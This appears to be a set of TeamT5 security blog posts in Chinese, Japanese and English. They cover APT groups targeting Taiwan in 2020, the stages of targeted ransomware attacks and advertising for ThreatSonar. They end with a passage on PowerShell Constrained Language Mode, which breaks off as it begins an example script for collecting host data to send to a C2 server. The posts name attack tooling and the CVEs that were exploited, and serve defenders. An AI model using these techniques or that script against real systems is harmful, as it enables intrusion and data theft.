能源產業是 2020 年被針對的第三大產業，TeamT5 觀察到至少有五個族群針對能源產業鏈中的多個部門進行滲透，我們認為這是一個徵兆，顯示敵人試圖控制台灣關鍵基礎設施的野心，因為這些部門在戰爭時期將會成為優先被癱瘓的目標。教育和智庫單位長久以來也名列 APT 攻擊目標排行榜中，相對應的攻擊數量在 2020 年位居第四名，主要的原因在於這些單位中的研究人員往往參與了政府的研究計畫或是政策制定。半導體產業是我們觀察到第五大被針對的目標，由於中國官方將半導體明定為十三五和十四五計畫中重點扶植的產業，這些攻擊應為有計劃性的網路間諜活動，目的在於竊取台灣相關的智慧財權或產業機密。醫療和運輸產業也是兩個在 2020 年被中國 APT 重點性針對的目標產業，如同前述，我們相信新冠肺炎可能是一個趨使攻擊者針對醫療產業的主要因素；交通相關產業部份，TeamT5 觀察到一個值得注意的現象：有一個我們稱為 GouShe（亦稱為 TroppicTropper、Keyboy）的 APT 族群特別針對台灣的交通運輸相關部門進行滲透，2020 年間的相關攻擊事件有七成以上均來自該族群。

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 年 APT 攻擊目標產業分佈_

 

TeamT5 於 2020 年間共追蹤了至少九個 APT 族群的攻擊行動，當中有八個是來自中國。HUAPI（亦稱為 BlackTech、PLEAD）是所有族群中最具野心的一群，他們的攻擊行動佔了我們所觀察到總數近三成，而且攻擊目標幾乎涵蓋了上述的所有產業。我們在前面所提到的台灣供應鏈攻擊行動他們也都有參與。APT27（亦稱 EmissaryPanda、IronTiger、LuckyMouse、BronzeUnion）、GouShe 和 AMOEBA（亦稱 APT41、Barium、Winnti）也是在 2020 年攻擊台灣的數個主要攻擊來源族群：據 TeamT5 研究，APT27 主要攻擊政府、醫療和金融相關單位和產業。GouShe 近一、兩年的攻擊行動，展現了針對交通運輸部門和產業的高度興趣，同時我們也在能源和政府單位觀察到他們的蹤跡，TeamT5 針對此族群追蹤了近十年，研究結果顯示該族群可能接受所屬單位指令來監控台灣的關鍵基礎設施，並可能在關鍵時刻針對這些單位進行控制和接管。

AMOEBA 在過去一年間主要攻擊目標包含了能源、半導體產業，教育智庫單位和資訊產業，從攻擊目標推斷，他們的主要目的偏向於智財和產業機密竊取，但我們不排除攻擊者會嘗試利用攻擊獲取成果進行二次利用，如同他們在五月間所進行的勒索攻擊行動一樣。SLIME1、SLIME9、SLIME13 是 TeamT5 對三個中國 APT 攻擊行動的暫時行動代稱，我們在近幾年都有持續觀察到他們的行動。Polaris（亦稱 MustangPanda）則是一個針對幾乎中國鄰近國家的 APT 族群，我們在三、四月間發現有多個來自他們的釣魚信件針對台灣政府和研究單位進行攻擊，我們推測他們試圖蒐集新冠肺炎相關疫情資訊。最後，我們在台灣也有發現一個由北韓 APT 族群 Lazarus 所使用的 Linux 後門工具，但沒有進一步資訊可以確認受害者身份資訊，雖然台灣在政治上並非北韓 APT 的主要攻擊目標，但由於 Lazarus 族群被公認肩負為北韓政府籌措財源的責任，舉例來說，2017 年發生在台灣銀行的 SWIFT 系統攻擊事件就是由 Lazarus 所為，此樣本也許是一個顯示 Lazarus 仍持續在台灣地區有活動跡象的警訊。

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_2020 年間攻擊台灣的 APT 族群_

 

## 結語

TeamT5 相信認識敵人是有效對抗針對性攻擊的第一步，而本文章主要針對 2020 年間所觀察到的 APT 網路攻擊態勢，提供一個概觀說明。TeamT5 威脅情資研究顯示 APT 攻擊手法持續進化，真正高端複雜的行動已經不可能由單一個資安產品做有效的防護。TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 是一個以網路威脅情資為核心概念的防護方案，同時我們有一群專業的專家分析師持續做研究來讓我們持續領先於攻擊者的腳步。

> 如果您希望進一步了解我們的資安產品、解決方案或是想跟我們討論您所面臨的網路威脅，我們誠摯歡迎您與我們聯絡：<sales@teamt5.org>

 

### 參考資料

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

2020 年台灣 APT 網路攻擊態勢

近期國際間不斷發生加密勒索資安事件，受害產業橫跨政府機關、科技製造、交通運輸、軟體開發、衛生醫療、學術研究等。TeamT5 根據情資研究與數起資安事件調查成果，綜整近期針對型加密事件的面貌。

 

## 加密勒索攻擊演化
說到加密勒索攻擊，就不能不談到惡名昭彰的 WannaCry 病毒。WannaCry 病毒在 2017 年造成大規模感染，起因於該病毒針對 SMBv1 漏洞（CVE-2017-0143 ~ CVE-2017-0148）使用永恆之藍（EternalBlue）工具進行入侵。WannaCry 病毒入侵感染第一台主機後，會對主機硬碟和儲存裝置中的各式檔案進行加密，然後再利用 SMBv1 漏洞，主動擴散傳播到其他主機上，進而造成全球超過數百萬台電腦被加密感染。

![2104_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468173/2104_1_06555c9aff.png)
_圖一、WannaCry 加密勒索訊息_

 

然而，加密勒索攻擊在近幾年出現質變，逐漸從自動化攻擊轉為由駭客組織躲藏在背後操弄，受害對象也逐漸轉變成大型企業。駭客為避免受害者直接進行系統還原或重建，導致無法有效獲得贖金款項，進而開始竊取受害者的內部機敏資料，並藉由恐嚇公開資料，逼迫受害者繳付贖金。[ZDent](https://www.zdnet.com/article/ransomware-gangs-are-now-cold-calling-victims-if-they-restore-from-backups-without-paying/) 就曾報導 Sekhmet、Maze、Conti 與 Ryuk 等駭客組織存在「催債單位」，會主動與受害者聯繫，威脅若不繳付贖金將公開所竊取的機敏資料。

![2104_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_2_a31b3d1dd4.png)
_圖二、常見的針對型加密勒索訊息_

 

## 針對型加密勒索
TeamT5 從情資研究與資安事件成果，歸納目前針對型勒索攻擊分為四大步驟，分別為入侵、水平移動、資料竊取與檔案加密階段。

![2104_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_3_82b3ac0151.png)
_圖三、針對型加密勒索攻擊分解_

<style>
span.post-1-dot {
justify-content: center;
color: #d83751;
font-family: initial;
width: 1em;
font-size: 22px;
margin-right: 12px;
}
</style>
<h3 id="compromise">
 •入侵階段
</h3>

駭客入侵受害環境，主要是透過系統或設備的漏洞與社交郵件兩種管道。根據資安事件調查的結果，駭客所利用的漏洞為 ExChange ProxyLogon（CVE-2021-26858 與 CVE-2021-27065）與 SSL VPN（CVE-2019-11510、CVE-2019-11542、CVE-2019-11539、CVE-2019-11538、CVE-2019-11508、CVE-2019-11540 與 CVE-2019-11507）為主；而社交郵件則會搭配惡意連結，讓使用者點擊後不經意遭植入惡意程式，如 Drive-by-Download 攻擊手法。

![2104_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_4_448ef9ff83.png)
_圖四、駭客利用 IE 漏洞（CVE-2020-0968）搭配 Drive-by-Download 手法植入惡意程式_

 

<h3>
 •水平移動階段
</h3>

駭客成功入侵受害環境搶下灘頭堡後，會開始進行後續入侵攻擊（Post-Compromise），目的是為了找到網域伺服器或檔案伺服器等高價值主機。在此階段，駭客會使用 Mimikatz 這類的密碼竊工具取得主機上的帳號密碼，並試著透過各種網路掃描工具，如 nbtscan、TCP Scan 或 ADFind 等駭客工具，找到其他可入侵的內部主機。接下來，駭客會嘗試使用先前取得的帳號密碼登入，其登入方式包含廣為人知的 PsExec 工具程式，最後在受害主機上建立後門程式，以便駭客長期連入控制之用，近期常見的後門程式多為使用 Cobalt Strike 框架建立 Stager 或 Beacon 等後門管道。

![2104_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_5_9b984c5e4c.png)
_圖五、登入驗證程式 lsass.exe 遭到 Mimikatz 注入並竊取帳號密碼_

 

![2104_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618471005/2104_6_bba2dd7079.png)
_圖六、駭客透過 Powershell 執行惡意語法植入 Cobalt Strike Stager_

 

<h3>
 •資料竊取階段
</h3>


駭客成功入侵至網域伺服器或檔案伺服器主機後，會嘗試從中取得受害單位內部的機敏資料，如產品開發、客戶資訊、財務資訊等機敏檔案。下圖七為 TeamT5 於某事件中偵測到駭客利用 WinRAR 壓縮工具，試圖遠端加密壓縮特定資料夾內容。

![2104_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_6_3c1ab71659.png)
_圖七、駭客正在加密壓縮機敏資料_

 

<h3>
 •檔案加密階段
</h3>

當駭客成功取得受害者內部的機敏資料後，才會肆無忌憚地開始進行大規模主機加密行動。根據 TeamT5 實地調查的案例，駭客會在各主機植入加密程式，等到取得機敏資料後才透過 AD GPO 大量且快速地執行檔案加密攻擊，且駭客開始採用合法的檔案加密程式進行惡意加密攻擊。如下圖畫面，攻擊者早在 7 月就已植入加密程式，但是等到 12 月才發動加密攻擊，代表攻擊潛伏期長達數個月之久。且駭客所使用的加密程式 bcl.exe 為 Jetico 公司所開發的商用資料加密軟體，該軟體本意是為了達到資料隱私保護之用，卻被駭客利用成為加密勒索攻擊的一環。

![2104_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_7_98ce84dfb8.png)
_圖八、長達數個月潛伏期的加密勒索攻擊行動_

 

## 轉換一下您的防禦思維
看到現在，各位應該發現針對型加密勒索攻擊是個細膩且漫長的攻擊行動，為了不打草驚蛇讓受害者早早發現，駭客開始使用許多合法商用軟體替代自行開發的惡意程式。在許多防禦機制都在強調如何阻斷檔案加密的當下，卻忽略了我們有數周至數個月的時間可以發現駭客的潛在威脅，又或是如果駭客使用合法程式來掩護非法攻擊，該如何有效偵測及識別，乃至於阻擋呢？

或許我們該轉換一下防禦思維，如果能在駭客入侵初期的潛伏階段就能有效識別，進而修補漏洞、清除惡意程式，阻斷駭客持續控制內部受害環境，便能避免未來發生大規模檔案加密的攻擊。

更多加密勒索攻擊防護，敬請期待 TeamT5 在 [CYBERSEC 2021 臺灣資安大會](https://teamt5.org/tw/posts/cybersec-2021/)上即將獨家公開的全新升級威脅捕網！

 

*圖片來源：[Unsplash](https://unsplash.com/photos/jzTQVxCyKYs?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

刻在你我心底的痛！可怕的加密勒索攻擊

最近、世界中で暗号化により身代金を要求する情報セキュリティインシデントが絶えず発生している。被害を受けた業界は政府機関、テクノロジー製造業、交通機関、ソフトウェア開発、医療衛生、学術研究等、広くに及んでいる。TeamT5 は情報資料研究と複数の情報セキュリティインシデントの調査成果に基づき、最近の標的型暗号化事件の状況を整理した。

 

## 暗号化による恐喝攻撃の進化
暗号化による恐喝攻撃と言えば、悪名高い WannaCry ウイルスの存在は欠かせない。WannaCry は2017年に大規模な感染を引き起こしたが、その原因はこのウイルスが SMBv1 セキュリティホール（CVE-2017-0143～CVE-2017-0148）に対して EternalBlue ツールを使用して侵入を行ったためである。WannaCry は最初のホストコンピュータに侵入すると、そのコンピュータのハードディスクやストレージに存在する各種ファイルを暗号化し、再度 SMBv1 セキュリティホールを利用して他のホストコンピュータに拡散させることで、世界中で数百万台以上の PC が感染し、暗号化されるに至った。

![2104_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468173/2104_1_06555c9aff.png)
_図1. WannaCry による暗号化と恐喝のメッセージ_

 

しかしながら、暗号化による恐喝攻撃はこの数年で変化しており、自動化された攻撃からハッカーグループによる背後での操作へと徐々に移行していき、被害対象も徐々に大企業へと移行している。ハッカーは、被害者がシステムの復元や再構成を行うことによって効果的に身代金を獲得できない状況を避けるため、被害者の内部的な重要データを窃取し、それを公開すると恐喝することで被害者に身代金の支払いを迫るのである。[ZDent](https://www.zdnet.com/article/ransomware-gangs-are-now-cold-calling-victims-if-they-restore-from-backups-without-paying/) は過去に Sekhmet、Maze、Conti、Ryuk などのハッカーグループには「支払い催促者」が存在し、自ら被害者と連絡を取り「身代金を支払わないと窃取した重要なデータを公開する」と恐喝することがあると報道している。


![2104_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_2_a31b3d1dd4.png)
_図2. よく見られる標的型暗号化恐喝攻撃のメッセージ_

 

## 標的型暗号化恐喝攻撃
TeamT5 は情報資料研究と情報セキュリティインシデントの結果に基づき、現在の標的型恐喝攻撃は、侵入、ラテラルムーブメント、データ窃取、ファイルの暗号化の4つのステップに分けられると結論付けた。

![the-pain-engraved-herein-uncover-scary-ransomware-attacks_JP_pic3.jpg](https://uploads.teamt5.org/upload/original/the-pain-engraved-herein-uncover-scary-ransomware-attacks_JP_pic3.jpg)
_図3. 標的型暗号化恐喝攻撃の分析_

<style>
span.post-1-dot {
justify-content: center;
color: #d83751;
font-family: initial;
width: 1em;
font-size: 22px;
margin-right: 12px;
}
</style>
<h3 id="compromise">
 •侵入段階
</h3>

ハッカーが被害者の環境に侵入する場合、主にシステムまたはデバイスのセキュリティホールやソーシャルメールの2つのルートがある。情報セキュリティインシデントを調査した結果によると、ハッカーが利用するセキュリティホールは ExChange ProxyLogon（CVE-2021-26858、CVE-2021-27065）、SSL VPN（CVE-2019-11510、CVE-2019-11542、CVE-2019-11539、CVE-2019-11538、CVE-2019-11508、CVE-2019-11540、CVE-2019-11507）を主とし、ソーシャルメールは悪意のあるリンクが含まれ、ユーザーがクリックすることで Drive-by-Download の攻撃手法のように悪意のあるプログラムが誤ってインストールされる。

![2104_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468166/2104_4_448ef9ff83.png)
_図4. ハッカーが IE のセキュリティホール（CVE-2020-0968）と Drive-by-Download 手法を利用して悪意のあるプログラムをインストール_

 

<h3>
 •ラテラルムーブメント
</h3>

ハッカーが被害者システムへの侵入に成功して拠点を確保すると、さらなる侵入攻撃（Post-Compromise）を試みる。その目的はドメインサーバーやファイルサーバー等の高価値なホストコンピュータを見つけるためである。この段階では、ハッカーは Mimikatz のようなパスワード窃取ツールを使用してホストコンピュータのアカウント、パスワードを取得し、更にハッキングツールである nbtscan、TCP Scan、ADFind のような各種ネットワークスキャンツールによって他の侵入可能な内部ホストコンピュータを探す。続いて、ハッカーは先に取得したアカウントとパスワードを利用してログインを試みる。その方法には広く知られている PsExec ツールのプログラムが含まれており、最終的にハッカーが長期的に連続で制御するために被害者のホストコンピュータにバックドアプログラムを作成しておく。最近よく見られるバックドアプログラムの多くは Cobalt Strike のフレームワークを利用して Stager や Beacon 等のようなバックドアを設けている。

![2104_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_5_9b984c5e4c.png)
_図5. ログイン検証プログラム lsass.exe が Mimikatz にインジェクションされアカウント、パスワードを窃取_

 

![2104_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618471005/2104_6_bba2dd7079.png)
_図6. ハッカーが Powershell によって悪意のあるコマンドを実行し、Cobalt Strike Stager をインストール_

 

<h3>
 •データ窃取段階
</h3>


ハッカーがドメインサーバーまたはファイルサーバーのホストコンピュータ侵入に成功すると、その中で被害者システムの内部に存在する製品開発、顧客情報、財務情報等の重要なデータの取得を試みる。下図7は TeamT5 がとあるインシデントにおいてハッカーが WinRAR を利用してツールを圧縮し、特定フォルダの内容を遠隔操作で暗号化圧縮しようと試みる様子を検知したものである。

![2104_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1618468165/2104_6_3c1ab71659.png)
_図7. ハッカーが重要なデータを暗号化、圧縮している様子_

 

<h3>
 •ファイルの暗号化段階
</h3>

ハッカーが被害者内部の重要なデータの取得に成功すると、大規模なホストコンピュータの暗号化行為を開始する。TeamT5 の実地調査の事例によると、ハッカーは各ホストコンピュータに暗号化プログラムをインストールさせ、重要なデータを取得してから初めて AD GPO により大量かつ迅速にファイルの暗号化攻撃を実行する。また、ハッカーは合法的なファイル暗号化プログラムを利用して悪意のある暗号化攻撃を実行し始めたことがわかっている。下図の画面のとおり、攻撃者は7月には暗号化プログラムをインストールしていたが、12月になって初めて暗号化攻撃を発動しており、攻撃の潜伏期間が数か月にも及んでいることがわかる。また、ハッカーが使用する暗号化プログラム bcl.exe は Jetico 社が開発した商用のデータ暗号化ソフトウェアである。このソフトウェアの本来の目的はデータのプライバシー保護に用いられるものであるにも関わらず、ハッカーによって暗号化恐喝攻撃の一環に利用されている。

![the-pain-engraved-herein-uncover-scary-ransomware-attacks_JP_pic8.jpg](https://uploads.teamt5.org/upload/original/the-pain-engraved-herein-uncover-scary-ransomware-attacks_JP_pic8.jpg)
_図8. 潜伏期間が数か月にも及ぶ暗号化恐喝攻撃の行動_

 

## 防御に対する考え方を変える
現在の状況を見ると、標的型暗号化恐喝攻撃は非常に細かく長期にわたる攻撃だということに気付くだろう。不用意な振る舞いで被害者を警戒させ早期に発覚されないようにするため、ハッカーは自主開発した悪意のあるプログラムから合法的な商用ソフトウェアを利用する方法へと転換し始めている。多くの防御システムはファイル暗号化をブロックする方法を強調しているが、ハッカーによる潜在的脅威を発見するのに数週間から数か月を要することを無視しており、また、ハッカーが合法的なプログラムによって違法な攻撃をカバーしている場合はどのようにして効果的に検知および識別、ブロックするのかが明確でない。

我々は防御に対する考え方を変える必要があるかもしれない。もしハッカーによる侵入初期の潜伏段階で効果的に識別でき、セキュリティホールを修正し悪意のあるプログラムを削除してハッカーが被害 PC の内部環境を継続的に制御する状況を阻止できれば、将来起こりうる大規模なファイル暗号化攻撃を回避することができる。

さらなる暗号化恐喝攻撃の防御については，お問い合わせ先：<sales@teamt5.org>

 

*画像のソース: [Unsplash](https://unsplash.com/photos/jzTQVxCyKYs?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

心の痛みを受け止めて！恐ろしい暗号化による恐喝攻撃

近年來，為了防範進階持續性攻擊（Advanced Persistent Threat, APT），許多資安業者相繼投入端點防護領域，進行端點的事件分析，以助於定位威脅所在與制定因應措施。但多數的作法，大多是依照偵測工具內建規則，決定該事件的風險高低程度，意即以「一套標準」套用於所有的企業客戶。

 

# 風險防護也可以「客製化」

針對資安防護，各企業領域要求的重點或許略有不同。在端點防護上，具體完整的 APT 攻擊事件，無庸置疑須視為高度威脅優先處理。除此之外，尚有許多其他風險事件（例如違反企業內部規範），各家企業實際上也具備不同的需求。

企業資安防護需求有異，TeamT5 推出 ThreatSonar Anti-Ransomware 威脅鑑識與回應平台提供了最大的彈性，以最新功能「風險訂閱」（Threat Subscription），客製化您專屬的威脅防護。

 

## 您在乎的威脅，優先追蹤

透過 ThreatSonar Anti-Ransomware 風險訂閱功能，企業用戶可以依照公司本身的防範策略原則，主動決定要優先針對哪些風險事件進行防護與告警，協助企業確保自家資安防範原則（Policy）的落實管理。舉例來說，公司內部是否有同仁的電腦（被）安裝了 VPN 遠端連線工具？又或是否有任何中國製軟體在企業內使用？ThreatSonar Anti-Ransomware 都能替您把關，偵測威脅、發出告警。

 

![sonar detect.PNG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1615369015/sonar_detect_0a6630d5c7.png)
_圖一、訂閱 VPN 安裝風險事件與告警_

 

有了 ThreatSonar Anti-Ransomware 風險訂閱，我們為每位客戶打造專屬的風險防護，不再「一套規則打天下」。

 

## 自己的風險等級，自己決定

透過 ThreatSonar Anti-Ransomware 風險訂閱，我們可客製化為企業把關風險事件，但是風險項目眾多、資安人力有限，且風險等級也可能隨著公司政策調整而改變。

有鑑於此，除了訂閱風險項目，ThreatSonar Anti-Ransomware 風險訂閱功能更提供「自訂風險等級」支援，資安人員可以自行決定風險等級，例如可設定哪些高風險攻擊事件發生時，需要立即處理、哪些屬於可疑事件，需進一步調查、哪些風險事件僅為低風險等級（例如，同仁的資訊設備使用方式違反公司資安規範）。

風險等級可自行決定且隨時調整，提升企業資安防護的彈性與便利性，企業可以更有效率地分配內部資安人力，依照不同風險等級進行相關處理。

 

## 資安事件即時告警，事件調查不再複雜

在過去，資安人員若要調查企業是否已遭到遠端存取木馬程式（Remote Access Trojan, RAT）入侵，通常需要確認幾項檔案特徵，例如風險檔案是否嘗試列舉檔案或行程（Process）、是否正在進行網路連線等，當上述特徵行為皆存在，就可以確認端點已遭到木馬程式攻擊。然而，需要考量的特徵非常多，且這些行為可能分布於數個風險檔案上，使得整體事件調查相對費時。

透過 ThreatSonar Anti-Ransomware 風險訂閱功能，我們幫您組合多個特徵行為，針對單一資安攻擊事件發出明確且即時的告警，不只有效降低資安人員調查的負擔，又可即時回應與處置重要資安事件。

 

**ThreatSonar Anti-Ransomware 風險訂閱功能** 是企業最佳的資安防護後盾，請即刻與 TeamT5 聯繫，訂製您的專屬風險防護！

> 業務聯絡：<sales@teamt5.org>

ThreatSonar Anti-Ransomware 風險訂閱－訂製您的專屬風險防護

最近、発展した持続的な攻撃（Advanced Persistent Threat、APT）を防御するため、多くの情報セキュリティ企業がエンドポイントセキュリティ領域に相次いで投資し、エンドポイントでの事案を解析することで脅威の特定と対応措置を策定してきた。しかし多くの方法は検知ツールに組み込まれたルールに基づいて事案のリスクレベルを決定している。つまり、すべての企業顧客において「標準的」なものが適用される。

 

# リスク防護も「カスタマイズ化」できる

情報セキュリティ防御において、各企業領域において要求される重点は異なる場合がある。エンドポイントの防護においては、明確で完全な APT 攻撃の事案は疑うべきもなく高度な脅威として優先的に処理される必要がある。このほかにも多くのリスク事案が存在し（例：企業コンプライアンス違反）、各企業は実際に異なるニーズを持っている。

企業の異なる情報セキュリティ防御のニーズに対応し、TeamT5 は ThreatSonar Anti-Ransomware をリリース。脅威識別と対応プラットフォームが最大の柔軟性を提供し、最新機能「リスクの購読」（Threat Subscription）によってカスタマイズされた脅威の防御を提供する。

 

## 懸念される脅威を優先して追跡

ThreatSonar Anti-Ransomware のリスク購読機能を通して、企業ユーザーは会社の防護ポリシーに基づき、優先して対処すべきリスクイベントの防御と警告を自分から決定し、企業が自社の情報セキュリティ防御ポリシー（Policy）による明確な管理を行うことが可能になる。例えば、社内の同僚の PC に VPN リモート接続ツールがインストールされているかどうか、または、中国製のソフトウェアが企業内で使用されているかどうか、などだ。ThreatSonar Anti-Ransomware はそれらをすべて厳しくチェックし、脅威を検知して警告してくれるのである。

 

ThreatSonar Anti-Ransomware のリスク購読があれば、「1つのルールで一括管理」するのではなく、すべての顧客に専門的なリスク防護を提供することができる。

 

## 自分のリスクレベルは自分で決める

ThreatSonar Anti-Ransomware リスク購読によって当社は企業のためにカスタマイズされたリスクイベントのチェックを提供することができるが、リスク項目は非常に多く、情報セキュリティ担当者の人員には限りがあり、リスクレベルも会社のポリシーに応じて調整と変更が必要になる。

そこで、リスク項目の購読のほかにも ThreatSonar Anti-Ransomware は更に「リスクレベルのカスタマイズ」をサポートしており、情報セキュリティ担当者が自分でリスクレベルを決定できる。例えば、どのような高リスクの攻撃イベントが発生した場合に即時対応するか、どのような疑わしいイベントに対して更に調査を行うか、どのようなリスクイベントが低リスクレベルに該当するか（例：同僚の情報機器使用方法が会社の情報セキュリティ規範に違反している）、等である。

リスクレベルを自社で決定しいつでも調整できることで、企業の情報セキュリティ防護における柔軟性と利便性を向上し、企業はより効率的に内部の情報セキュリティ要員を配置して異なるリスクレベルに応じた対応を行うことができる。

 

## 情報セキュリティインシデントを即時警告し、調査が複雑にならない

これまでは情報セキュリティ担当者が企業のトロイの木馬型遠隔操作ウイルス（Remote Access Trojan、RAT）への感染を調査する時、通常は、疑わしいファイルがファイルやプロセス（Process）を一覧表示しようとしているかどうか、ネットワークへの接続を行っているかどうか等、複数のファイルの特徴を確認する必要がある。これらの振る舞いがすべて確認された場合、エンドポイントがトロイの木馬型攻撃を受けたことを確認できる。しかしながら、考慮すべき特徴が非常に多く、これらの振る舞いは複数の疑わしいファイル上に分散している場合があるため、全体のイベントを調査するのには相当の時間を要する。

ThreatSonar Anti-Ransomware のリスク購読機能があれば、複数の特徴的な振る舞いを組み合わせ、単体の情報セキュリティ攻撃イベントに対して明確でリアルタイムな警告を行うことができる。情報セキュリティ担当者による調査の負担を効果的に軽減するだけでなく、重大な情報セキュリティインシデントに即時対応し、処置を行うことができるのである。

 

**ThreatSonar Anti-Ransomware 風險訂閱功能** のリスク購読機能は企業における最も優秀な情報セキュリティ防護対策です。今すぐカスタマイズされた専門的なリスク防護のため、TeamT5 にご連絡ください！

> お問い合わせ先：<sales@teamt5.org>

ThreatSonar Anti-Ransomware リスクの購読－専用のリスク防護をカスタマイズ

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
